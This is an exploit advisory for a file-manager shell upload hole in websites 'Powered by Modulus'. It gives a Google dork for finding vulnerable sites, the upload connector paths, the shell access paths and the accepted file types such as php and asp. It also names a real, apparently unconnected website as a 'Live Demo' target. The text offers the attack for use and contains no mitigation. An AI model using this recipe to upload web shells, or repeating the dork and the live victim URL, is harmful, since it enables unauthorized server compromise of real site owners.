0 Powered by Modulus -> Shell Upload Vulnerability

# Exploit Title : Site Linux Whm01.ast (Powered by Modulus)  –> Shell Upload Vulnerability

# Date : 26-06-2012

# Google Dork : “Powered by Modulus” or inurl:filemanager/libraries/

# Author : BadBoy

# Category : Webapps

# Tested On : Windows XP

# Bug : http://localhost/modules/filemanager/libraries/filemanager/filemanager.php

or

http://localhost/modules/fckeditor/libraries/fckeditor/editor/filemanager/connectors/uploadtest.html <—- To know where the path 

# Shell Access : http://localhost/modules/core/home/2/[HELL] or http://localhost/home/2/[HELL]

#Allowed File : php, html, asp, php4, txt, jpg, and m

#Live Demo : http://lakesidedairy.com/modules/filemanager/libraries/filemanager/filemanager.php